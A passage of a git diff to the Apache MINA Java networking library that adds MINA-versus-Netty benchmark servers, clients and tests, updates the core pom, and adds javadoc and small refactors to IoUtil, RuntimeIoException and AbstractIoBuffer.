IoBuffer.allocate(1); + + static { + ACK.put((byte) 0); + ACK.rewind(); + } + + private static final String STATE_ATTRIBUTE = MinaBenchmarkServer.class.getName() + ".state"; + + private static final String LENGTH_ATTRIBUTE = MinaBenchmarkServer.class.getName() + ".length"; + + private IoAcceptor acceptor; + + /** + * {@inheritDoc} + */ + public void start(int port) throws IOException { + acceptor = new NioSocketAcceptor(2 * Runtime.getRuntime().availableProcessors()); + ((NioSocketAcceptor) acceptor).getSessionConfig().setReadBufferSize(128 * 1024); + ((NioSocketAcceptor) acceptor).getSessionConfig().setTcpNoDelay(true); + acceptor.setHandler(new IoHandlerAdapter() { + public void sessionOpened(IoSession session) throws Exception { + session.setAttribute(STATE_ATTRIBUTE, State.WAIT_FOR_FIRST_BYTE_LENGTH); + } + + public void messageReceived(IoSession session, Object message) throws Exception { + if (message instanceof IoBuffer) { + IoBuffer buffer = (IoBuffer) message; + + State state = (State) session.getAttribute(STATE_ATTRIBUTE); + int length = 0; + if (session.containsAttribute(LENGTH_ATTRIBUTE)) { + length = (Integer) session.getAttribute(LENGTH_ATTRIBUTE); + } + while (buffer.remaining() > 0) { + switch (state) { + case WAIT_FOR_FIRST_BYTE_LENGTH: + length = (buffer.get() & 0xFF) << 24; + state = State.WAIT_FOR_SECOND_BYTE_LENGTH; + break; + case WAIT_FOR_SECOND_BYTE_LENGTH: + length += (buffer.get() & 0xFF) << 16; + state = State.WAIT_FOR_THIRD_BYTE_LENGTH; + break; + case WAIT_FOR_THIRD_BYTE_LENGTH: + length += (buffer.get() & 0xFF) << 8; + state = State.WAIT_FOR_FOURTH_BYTE_LENGTH; + break; + case WAIT_FOR_FOURTH_BYTE_LENGTH: + length += (buffer.get() & 0xFF); + state = State.READING; + if ((length == 0) && (buffer.remaining() == 0)) { + session.write(ACK.slice()); + state = State.WAIT_FOR_FIRST_BYTE_LENGTH; + } + break; + case READING: + int remaining = buffer.remaining(); + if (length > remaining) { + length -= remaining; + buffer.skip(remaining); + } else { + buffer.skip(length); + session.write(ACK.slice()); + state = State.WAIT_FOR_FIRST_BYTE_LENGTH; + length = 0; + } + } + } + session.setAttribute(LENGTH_ATTRIBUTE, length); + session.setAttribute(STATE_ATTRIBUTE, state); + } + } + + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + cause.printStackTrace(); + } + }); + acceptor.bind(new InetSocketAddress(port)); + } + + /** + * {@inheritedDoc} + */ + public void stop() throws IOException { + acceptor.dispose(true); + } +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/MinaClientVsMinaServerBenchmarkBinaryTest.java b/mina-benchmarks/src/test/java/org/apache/mina/core/MinaClientVsMinaServerBenchmarkBinaryTest.java new file mode 100755 index 0000000000..78cdbdb460 --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/MinaClientVsMinaServerBenchmarkBinaryTest.java @@ -0,0 +1,53 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +import org.apache.mina.core.BenchmarkFactory.Type; + +/** + * @author Apache MINA Project + */ +public class MinaClientVsMinaServerBenchmarkBinaryTest extends BenchmarkBinaryTest { + + /** + * @param numberOfMessages + * @param messageSize + */ + public MinaClientVsMinaServerBenchmarkBinaryTest(int numberOfMessages, int messageSize, int timeout) { + super(numberOfMessages, messageSize, timeout); + } + + /** + * {@inheritDoc} + */ + @Override + public Type getClientType() { + return Type.Mina; + } + + /** + * {@inheritDoc} + */ + @Override + public Type getServerType() { + return Type.Mina; + } + +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/MinaClientVsNettyServerBenchmarkBinaryTest.java b/mina-benchmarks/src/test/java/org/apache/mina/core/MinaClientVsNettyServerBenchmarkBinaryTest.java new file mode 100644 index 0000000000..aaa2a16a3e --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/MinaClientVsNettyServerBenchmarkBinaryTest.java @@ -0,0 +1,53 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +import org.apache.mina.core.BenchmarkFactory.Type; + +/** + * @author Apache MINA Project + */ +public class MinaClientVsNettyServerBenchmarkBinaryTest extends BenchmarkBinaryTest { + + /** + * @param numberOfMessages + * @param messageSize + */ + public MinaClientVsNettyServerBenchmarkBinaryTest(int numberOfMessages, int messageSize, int timeout) { + super(numberOfMessages, messageSize, timeout); + } + + /** + * {@inheritDoc} + */ + @Override + public Type getClientType() { + return Type.Mina; + } + + /** + * {@inheritDoc} + */ + @Override + public Type getServerType() { + return Type.Netty; + } + +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/NettyBenchmarkClient.java b/mina-benchmarks/src/test/java/org/apache/mina/core/NettyBenchmarkClient.java new file mode 100644 index 0000000000..71145dc753 --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/NettyBenchmarkClient.java @@ -0,0 +1,102 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.util.concurrent.CountDownLatch; + +import org.jboss.netty.bootstrap.ClientBootstrap; +import org.jboss.netty.buffer.ChannelBuffer; +import org.jboss.netty.buffer.ChannelBuffers; +import org.jboss.netty.channel.ChannelFactory; +import org.jboss.netty.channel.ChannelHandlerContext; +import org.jboss.netty.channel.ChannelPipeline; +import org.jboss.netty.channel.ChannelPipelineFactory; +import org.jboss.netty.channel.ChannelStateEvent; +import org.jboss.netty.channel.Channels; +import org.jboss.netty.channel.MessageEvent; +import org.jboss.netty.channel.SimpleChannelUpstreamHandler; +import org.jboss.netty.channel.socket.nio.NioClientSocketChannelFactory; + +/** + * @author Apache MINA Project + */ +public class NettyBenchmarkClient implements BenchmarkClient { + + private ChannelFactory factory; + + /** + * + */ + public NettyBenchmarkClient() { + } + + /** + * {@inheritedDoc} + */ + public void start(final int port, final CountDownLatch counter, final byte[] data) throws IOException { + factory = new NioClientSocketChannelFactory(); + ClientBootstrap bootstrap = new ClientBootstrap(factory); + bootstrap.setOption("sendBufferSize", 64 * 1024); + bootstrap.setOption("tcpNoDelay", true); + bootstrap.setPipelineFactory(new ChannelPipelineFactory() { + public ChannelPipeline getPipeline() throws Exception { + return Channels.pipeline(new SimpleChannelUpstreamHandler() { + private void sendMessage(ChannelHandlerContext ctx, byte[] data) { + ChannelBuffer buffer = ChannelBuffers.wrappedBuffer(data); + ctx.getChannel().write(buffer); + } + + @Override + public void messageReceived(ChannelHandlerContext ctx, MessageEvent e) throws Exception { + if (e.getMessage() instanceof ChannelBuffer) { + ChannelBuffer buffer = (ChannelBuffer) e.getMessage(); + for (int i = 0; i < buffer.readableBytes(); ++i) { + counter.countDown(); + if (counter.getCount() > 0) { + sendMessage(ctx, data); + } else { + ctx.getChannel().close(); + } + } + } else { + throw new IllegalArgumentException(e.getMessage().getClass().getName()); + } + } + + @Override + public void channelConnected(ChannelHandlerContext ctx, ChannelStateEvent e) throws Exception { + sendMessage(ctx, data); + } + + }); + } + }); + bootstrap.connect(new InetSocketAddress(port)); + } + + /** + * {@inheritedDoc} + */ + public void stop() throws IOException { + factory.releaseExternalResources(); + } +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/NettyBenchmarkServer.java b/mina-benchmarks/src/test/java/org/apache/mina/core/NettyBenchmarkServer.java new file mode 100644 index 0000000000..35fb94d2a6 --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/NettyBenchmarkServer.java @@ -0,0 +1,177 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.util.HashMap; +import java.util.Map; + +import org.jboss.netty.bootstrap.ServerBootstrap; +import org.jboss.netty.buffer.ChannelBuffer; +import org.jboss.netty.buffer.ChannelBuffers; +import org.jboss.netty.channel.ChannelFactory; +import org.jboss.netty.channel.ChannelHandlerContext; +import org.jboss.netty.channel.ChannelPipeline; +import org.jboss.netty.channel.ChannelPipelineFactory; +import org.jboss.netty.channel.ChannelStateEvent; +import org.jboss.netty.channel.Channels; +import org.jboss.netty.channel.ChildChannelStateEvent; +import org.jboss.netty.channel.ExceptionEvent; +import org.jboss.netty.channel.MessageEvent; +import org.jboss.netty.channel.SimpleChannelUpstreamHandler; +import org.jboss.netty.channel.socket.nio.NioServerSocketChannelFactory; + + +/** + * @author Apache MINA Project + */ +public class NettyBenchmarkServer implements BenchmarkServer { + + private static enum State { + WAIT_FOR_FIRST_BYTE_LENGTH, WAIT_FOR_SECOND_BYTE_LENGTH, WAIT_FOR_THIRD_BYTE_LENGTH, WAIT_FOR_FOURTH_BYTE_LENGTH, READING + } + + private static final ChannelBuffer ACK = ChannelBuffers.buffer(1); + + static { + ACK.writeByte(0); + } + + private static final String STATE_ATTRIBUTE = NettyBenchmarkServer.class.getName() + ".state"; + + private static final String LENGTH_ATTRIBUTE = NettyBenchmarkServer.class.getName() + ".length"; + + private ChannelFactory factory; + + /** + * Allocate a map as attachment for storing attributes. + * + * @param ctx the channel context + * @return the map from the attachment + */ + protected static Map getAttributesMap(ChannelHandlerContext ctx) { + Map map = (Map) ctx.getAttachment(); + if (map == null) { + map = new HashMap(); + ctx.setAttachment(map); + } + return map; + } + + private static void setAttribute(ChannelHandlerContext ctx, String name, Object value) { + getAttributesMap(ctx).put(name, value); + } + + + private static Object getAttribute(ChannelHandlerContext ctx, String name) { + return getAttributesMap(ctx).get(name); + } + + /** + * {@inheritDoc} + */ + public void start(int port) throws IOException { + factory = new NioServerSocketChannelFactory(); + ServerBootstrap bootstrap = new ServerBootstrap(factory); + bootstrap.setOption("receiveBufferSize", 128 * 1024); + bootstrap.setOption("tcpNoDelay", true); + bootstrap.setPipelineFactory(new ChannelPipelineFactory() { + public ChannelPipeline getPipeline() throws Exception { + return Channels.pipeline(new SimpleChannelUpstreamHandler() { + @Override + public void childChannelOpen(ChannelHandlerContext ctx, ChildChannelStateEvent e) throws Exception { + System.out.println("childChannelOpen"); + setAttribute(ctx, STATE_ATTRIBUTE, State.WAIT_FOR_FIRST_BYTE_LENGTH); + } + + @Override + public void channelOpen(ChannelHandlerContext ctx, ChannelStateEvent e) throws Exception { + System.out.println("channelOpen"); + setAttribute(ctx, STATE_ATTRIBUTE, State.WAIT_FOR_FIRST_BYTE_LENGTH); + } + + @Override + public void messageReceived(ChannelHandlerContext ctx, MessageEvent e) throws Exception { + if (e.getMessage() instanceof ChannelBuffer) { + ChannelBuffer buffer = (ChannelBuffer) e.getMessage(); + + State state = (State) getAttribute(ctx, STATE_ATTRIBUTE); + int length = 0; + if (getAttributesMap(ctx).containsKey(LENGTH_ATTRIBUTE)) { + length = (Integer) getAttribute(ctx, LENGTH_ATTRIBUTE); + } + while (buffer.readableBytes() > 0) { + switch (state) { + case WAIT_FOR_FIRST_BYTE_LENGTH: + length = (buffer.readByte() & 255) << 24; + state = State.WAIT_FOR_SECOND_BYTE_LENGTH; + break; + case WAIT_FOR_SECOND_BYTE_LENGTH: + length += (buffer.readByte() & 255) << 16; + state = State.WAIT_FOR_THIRD_BYTE_LENGTH; + break; + case WAIT_FOR_THIRD_BYTE_LENGTH: + length += (buffer.readByte() & 255) << 8; + state = State.WAIT_FOR_FOURTH_BYTE_LENGTH; + break; + case WAIT_FOR_FOURTH_BYTE_LENGTH: + length += (buffer.readByte() & 255); + state = State.READING; + if ((length == 0) && (buffer.readableBytes() == 0)) { + ctx.getChannel().write(ACK.slice()); + state = State.WAIT_FOR_FIRST_BYTE_LENGTH; + } + break; + case READING: + int remaining = buffer.readableBytes(); + if (length > remaining) { + length -= remaining; + buffer.skipBytes(remaining); + } else { + buffer.skipBytes(length); + ctx.getChannel().write(ACK.slice()); + state = State.WAIT_FOR_FIRST_BYTE_LENGTH; + length = 0; + } + } + } + setAttribute(ctx, STATE_ATTRIBUTE, state); + setAttribute(ctx, LENGTH_ATTRIBUTE, length); + } + } + + @Override + public void exceptionCaught(ChannelHandlerContext ctx, ExceptionEvent e) throws Exception { + e.getCause().printStackTrace(); + } + }); + } + }); + bootstrap.bind(new InetSocketAddress(port)); + } + + /** + * {@inheritedDoc} + */ + public void stop() throws IOException { + factory.releaseExternalResources(); + } +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/NettyClientVsMinaServerBenchmarkBinaryTest.java b/mina-benchmarks/src/test/java/org/apache/mina/core/NettyClientVsMinaServerBenchmarkBinaryTest.java new file mode 100644 index 0000000000..d6645fd4f6 --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/NettyClientVsMinaServerBenchmarkBinaryTest.java @@ -0,0 +1,67 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +import java.util.Arrays; +import java.util.Collection; + +import org.apache.mina.core.BenchmarkFactory.Type; +import org.junit.runners.Parameterized.Parameters; + +/** + * @author Apache MINA Project + */ +public class NettyClientVsMinaServerBenchmarkBinaryTest + extends BenchmarkBinaryTest { + + /** + * @param numberOfMessages + * @param messageSize + */ + public NettyClientVsMinaServerBenchmarkBinaryTest( int numberOfMessages, int messageSize, int timeout ) { + super( numberOfMessages, messageSize, timeout ); + } + + /** {@inheritDoc} + */ + @Override + public Type getClientType() { + return Type.Netty; + } + + /** {@inheritDoc} + */ + @Override + public Type getServerType() { + return Type.Mina; + } + + //TODO: analyze with Netty is so slow on large message: last test lower to 100 messages + @Parameters + public static Collection getParameters() { + Object[][] parameters = new Object[][] { + { 1000000, 10, 2 * 60 }, + { 1000000, 1 * 1024, 2 * 60 }, + { 1000000, 10 * 1024, 2 * 60 }, + { 100, 64 * 1024 * 1024, 10 * 60 } + }; + return Arrays.asList(parameters); + } +} diff --git a/mina-benchmarks/src/test/java/org/apache/mina/core/NettyClientVsNettyServerBenchmarkBinaryTest.java b/mina-benchmarks/src/test/java/org/apache/mina/core/NettyClientVsNettyServerBenchmarkBinaryTest.java new file mode 100644 index 0000000000..1921ca4baf --- /dev/null +++ b/mina-benchmarks/src/test/java/org/apache/mina/core/NettyClientVsNettyServerBenchmarkBinaryTest.java @@ -0,0 +1,67 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.core; + +import java.util.Arrays; +import java.util.Collection; + +import org.apache.mina.core.BenchmarkFactory.Type; +import org.junit.runners.Parameterized.Parameters; + +/** + * @author Apache MINA Project + */ +public class NettyClientVsNettyServerBenchmarkBinaryTest + extends BenchmarkBinaryTest { + + /** + * @param numberOfMessages + * @param messageSize + */ + public NettyClientVsNettyServerBenchmarkBinaryTest( int numberOfMessages, int messageSize, int timeout ) { + super( numberOfMessages, messageSize, timeout ); + } + + /** {@inheritDoc} + */ + @Override + public Type getClientType() { + return Type.Netty; + } + + /** {@inheritDoc} + */ + @Override + public Type getServerType() { + return Type.Netty; + } + + //TODO: analyze with Netty is so slow on large message: last test lower to 100 messages + @Parameters + public static Collection getParameters() { + Object[][] parameters = new Object[][] { + { 1000000, 10, 2 * 60 }, + { 1000000, 1 * 1024, 2 * 60 }, + { 1000000, 10 * 1024, 2 * 60 }, + { 100, 64 * 1024 * 1024, 10 * 60 } + }; + return Arrays.asList(parameters); + } +} diff --git a/mina-benchmarks/src/test/resources/log4j.properties b/mina-benchmarks/src/test/resources/log4j.properties new file mode 100755 index 0000000000..0f825d08c1 --- /dev/null +++ b/mina-benchmarks/src/test/resources/log4j.properties @@ -0,0 +1,23 @@ +############################################################################# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +############################################################################# +log4j.rootCategory=ERROR, stdout + +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=[%d{HH:mm:ss}] %p [%c] - %m%n + + diff --git a/mina-core/pom.xml b/mina-core/pom.xml index da6b92e9a2..af451c74ed 100644 --- a/mina-core/pom.xml +++ b/mina-core/pom.xml @@ -24,29 +24,93 @@ org.apache.mina mina-parent - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT mina-core Apache MINA Core bundle - - ${project.groupId}.core - ${project.groupId} - - + org.easymock easymock - org.easymock - easymockclassextension + org.mockito + mockito-core + + + + + org.apache.felix + maven-bundle-plugin + true + true + + META-INF + + ${project.groupId}.core + + org.apache.mina.core, + org.apache.mina.core.buffer, + org.apache.mina.core.buffer.matcher, + org.apache.mina.core.file, + org.apache.mina.core.filterchain, + org.apache.mina.core.future, + org.apache.mina.core.polling, + org.apache.mina.core.service, + org.apache.mina.core.session, + org.apache.mina.core.write, + org.apache.mina.filter, + org.apache.mina.filter.buffer, + org.apache.mina.filter.codec, + org.apache.mina.filter.codec.demux, + org.apache.mina.filter.codec.prefixedstring, + org.apache.mina.filter.codec.serialization, + org.apache.mina.filter.codec.statemachine, + org.apache.mina.filter.codec.textline, + org.apache.mina.filter.errorgenerating, + org.apache.mina.filter.executor, + org.apache.mina.filter.firewall, + org.apache.mina.filter.keepalive, + org.apache.mina.filter.logging, + org.apache.mina.filter.ssl, + org.apache.mina.filter.statistic, + org.apache.mina.filter.stream, + org.apache.mina.filter.util, + org.apache.mina.handler.chain, + org.apache.mina.handler.demux, + org.apache.mina.handler.multiton, + org.apache.mina.handler.stream, + org.apache.mina.proxy, + org.apache.mina.proxy.event, + org.apache.mina.proxy.filter, + org.apache.mina.proxy.handlers, + org.apache.mina.proxy.handlers.http, + org.apache.mina.proxy.handlers.http.basic, + org.apache.mina.proxy.handlers.http.digest, + org.apache.mina.proxy.handlers.http.ntlm, + org.apache.mina.proxy.handlers.socks, + org.apache.mina.proxy.session, + org.apache.mina.proxy.utils, + org.apache.mina.transport.socket, + org.apache.mina.transport.socket.nio, + org.apache.mina.transport.vmpipe, + org.apache.mina.util, + org.apache.mina.util.byteaccess + + + javax.crypto,javax.crypto.spec,javax.net.ssl,javax.security.sasl,org.slf4j;version=${osgi-min-version.slf4j.api} + + + + + + - diff --git a/mina-core/src/main/java/org/apache/mina/core/IoUtil.java b/mina-core/src/main/java/org/apache/mina/core/IoUtil.java index c35de0a96f..ad97703f72 100644 --- a/mina-core/src/main/java/org/apache/mina/core/IoUtil.java +++ b/mina-core/src/main/java/org/apache/mina/core/IoUtil.java @@ -36,17 +36,24 @@ * * @author Apache MINA Project */ -public class IoUtil { - +public final class IoUtil { private static final IoSession[] EMPTY_SESSIONS = new IoSession[0]; + private IoUtil() { + // Do nothing + } + /** * Writes the specified {@code message} to the specified {@code sessions}. * If the specified {@code message} is an {@link IoBuffer}, the buffer is * automatically duplicated using {@link IoBuffer#duplicate()}. + * + * @param message The message to broadcast + * @param sessions The sessions that will receive the message + * @return The list of WriteFuture created for each broadcasted message */ public static List broadcast(Object message, Collection sessions) { - List answer = new ArrayList(sessions.size()); + List answer = new ArrayList<>(sessions.size()); broadcast(message, sessions.iterator(), answer); return answer; } @@ -55,47 +62,59 @@ public static List broadcast(Object message, Collection * Writes the specified {@code message} to the specified {@code sessions}. * If the specified {@code message} is an {@link IoBuffer}, the buffer is * automatically duplicated using {@link IoBuffer#duplicate()}. + * + * @param message The message to broadcast + * @param sessions The sessions that will receive the message + * @return The list of WriteFuture created for each broadcasted message */ public static List broadcast(Object message, Iterable sessions) { - List answer = new ArrayList(); + List answer = new ArrayList<>(); broadcast(message, sessions.iterator(), answer); return answer; } - + /** * Writes the specified {@code message} to the specified {@code sessions}. * If the specified {@code message} is an {@link IoBuffer}, the buffer is * automatically duplicated using {@link IoBuffer#duplicate()}. + * + * @param message The message to write + * @param sessions The sessions the message has to be written to + * @return The list of {@link WriteFuture} for the written messages */ public static List broadcast(Object message, Iterator sessions) { - List answer = new ArrayList(); + List answer = new ArrayList<>(); broadcast(message, sessions, answer); return answer; } - + /** * Writes the specified {@code message} to the specified {@code sessions}. * If the specified {@code message} is an {@link IoBuffer}, the buffer is * automatically duplicated using {@link IoBuffer#duplicate()}. + * + * @param message The message to write + * @param sessions The sessions the message has to be written to + * @return The list of {@link WriteFuture} for the written messages */ public static List broadcast(Object message, IoSession... sessions) { if (sessions == null) { sessions = EMPTY_SESSIONS; } - - List answer = new ArrayList(sessions.length); + + List answer = new ArrayList<>(sessions.length); if (message instanceof IoBuffer) { - for (IoSession s: sessions) { + for (IoSession s : sessions) { answer.add(s.write(((IoBuffer) message).duplicate())); } } else { - for (IoSession s: sessions) { + for (IoSession s : sessions) { answer.add(s.write(message)); } } return answer; } - + private static void broadcast(Object message, Iterator sessions, Collection answer) { if (message instanceof IoBuffer) { while (sessions.hasNext()) { @@ -109,70 +128,117 @@ private static void broadcast(Object message, Iterator sessions, Coll } } } - + + /** + * Wait on all the {@link IoFuture}s we get, or until one of the {@link IoFuture}s is interrupted + * + * @param futures The {@link IoFuture}s we are waiting on + * @throws InterruptedException If one of the {@link IoFuture} is interrupted + */ public static void await(Iterable futures) throws InterruptedException { - for (IoFuture f: futures) { + for (IoFuture f : futures) { f.await(); } } - + + /** + * Wait on all the {@link IoFuture}s we get. This can't get interrupted. + * + * @param futures The {@link IoFuture}s we are waiting on + */ public static void awaitUninterruptably(Iterable futures) { - for (IoFuture f: futures) { + for (IoFuture f : futures) { f.awaitUninterruptibly(); } } - - public static boolean await(Iterable futures, long timeout, TimeUnit unit) throws InterruptedException { + + /** + * Wait on all the {@link IoFuture}s we get, or until one of the {@link IoFuture}s is interrupted + * + * @param futures The {@link IoFuture}s we are waiting on + * @param timeout The maximum time we wait for the {@link IoFuture}s to complete + * @param unit The Time unit to use for the timeout + * @return TRUE if all the {@link IoFuture} have been completed, FALSE if + * at least one {@link IoFuture} haas been interrupted + * @throws InterruptedException If one of the {@link IoFuture} is interrupted + */ + public static boolean await(Iterable futures, long timeout, TimeUnit unit) + throws InterruptedException { return await(futures, unit.toMillis(timeout)); } + /** + * Wait on all the {@link IoFuture}s we get, or until one of the {@link IoFuture}s is interrupted + * + * @param futures The {@link IoFuture}s we are waiting on + * @param timeoutMillis The maximum milliseconds we wait for the {@link IoFuture}s to complete + * @return TRUE if all the {@link IoFuture} have been completed, FALSE if + * at least one {@link IoFuture} has been interrupted + * @throws InterruptedException If one of the {@link IoFuture} is interrupted + */ public static boolean await(Iterable futures, long timeoutMillis) throws InterruptedException { return await0(futures, timeoutMillis, true); } + /** + * Wait on all the {@link IoFuture}s we get. + * + * @param futures The {@link IoFuture}s we are waiting on + * @param timeout The maximum time we wait for the {@link IoFuture}s to complete + * @param unit The Time unit to use for the timeout + * @return TRUE if all the {@link IoFuture} have been completed, FALSE if + * at least one {@link IoFuture} has been interrupted + */ public static boolean awaitUninterruptibly(Iterable futures, long timeout, TimeUnit unit) { return awaitUninterruptibly(futures, unit.toMillis(timeout)); } + /** + * Wait on all the {@link IoFuture}s we get. + * + * @param futures The {@link IoFuture}s we are waiting on + * @param timeoutMillis The maximum milliseconds we wait for the {@link IoFuture}s to complete + * @return TRUE if all the {@link IoFuture} have been completed, FALSE if + * at least one {@link IoFuture} has been interrupted + */ public static boolean awaitUninterruptibly(Iterable futures, long timeoutMillis) { try { return await0(futures, timeoutMillis, false); } catch (InterruptedException e) { - throw new InternalError(); + throw new IllegalStateException(e); } } - private static boolean await0(Iterable futures, long timeoutMillis, boolean interruptable) throws InterruptedException { + private static boolean await0(Iterable futures, long timeoutMillis, boolean interruptable) + throws InterruptedException { long startTime = timeoutMillis <= 0 ? 0 : System.currentTimeMillis(); long waitTime = timeoutMillis; - + boolean lastComplete = true; Iterator i = futures.iterator(); + while (i.hasNext()) { IoFuture f = i.next(); + do { if (interruptable) { lastComplete = f.await(waitTime); } else { lastComplete = f.awaitUninterruptibly(waitTime); } - + waitTime = timeoutMillis - (System.currentTimeMillis() - startTime); - if (lastComplete || waitTime <= 0) { + if (waitTime <= 0) { break; } } while (!lastComplete); - + if (waitTime <= 0) { break; } } - - return lastComplete && !i.hasNext(); - } - private IoUtil() { - // Do nothing + return lastComplete && !i.hasNext(); } } diff --git a/mina-core/src/main/java/org/apache/mina/core/RuntimeIoException.java b/mina-core/src/main/java/org/apache/mina/core/RuntimeIoException.java index b014b24f72..88a4b3d6dd 100644 --- a/mina-core/src/main/java/org/apache/mina/core/RuntimeIoException.java +++ b/mina-core/src/main/java/org/apache/mina/core/RuntimeIoException.java @@ -33,18 +33,37 @@ public class RuntimeIoException extends RuntimeException { private static final long serialVersionUID = 9029092241311939548L; + /** + * Create a new RuntimeIoException instance + */ public RuntimeIoException() { super(); } + /** + * Create a new RuntimeIoException instance + * + * @param message The error message + */ public RuntimeIoException(String message) { super(message); } + /** + * Create a new RuntimeIoException instance + * + * @param message The error message + * @param cause The original exception + */ public RuntimeIoException(String message, Throwable cause) { super(message, cause); } + /** + * Create a new RuntimeIoException instance + * + * @param cause The original exception + */ public RuntimeIoException(Throwable cause) { super(cause); } diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java b/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java index 0d6da9e1e2..957f808d70 100644 --- a/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java @@ -26,7 +26,9 @@ import java.io.ObjectOutputStream; import java.io.ObjectStreamClass; import java.io.OutputStream; +import java.io.Serializable; import java.io.StreamCorruptedException; +import java.lang.reflect.Proxy; import java.nio.BufferOverflowException; import java.nio.BufferUnderflowException; import java.nio.ByteBuffer; @@ -41,14 +43,24 @@ import java.nio.charset.CharsetDecoder; import java.nio.charset.CharsetEncoder; import java.nio.charset.CoderResult; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; import java.util.EnumSet; +import java.util.List; import java.util.Set; +import java.util.regex.Pattern; + +import org.apache.mina.core.buffer.matcher.ClassNameMatcher; +import org.apache.mina.core.buffer.matcher.FullClassNameMatcher; +import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher; +import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher; + /** - * A base implementation of {@link IoBuffer}. This implementation - * assumes that {@link IoBuffer#buf()} always returns a correct NIO - * {@link ByteBuffer} instance. Most implementations could - * extend this class and implement their own buffer management mechanism. + * A base implementation of {@link IoBuffer}. This implementation assumes that + * {@link IoBuffer#buf()} always returns a correct NIO {@link ByteBuffer} + * instance. Most 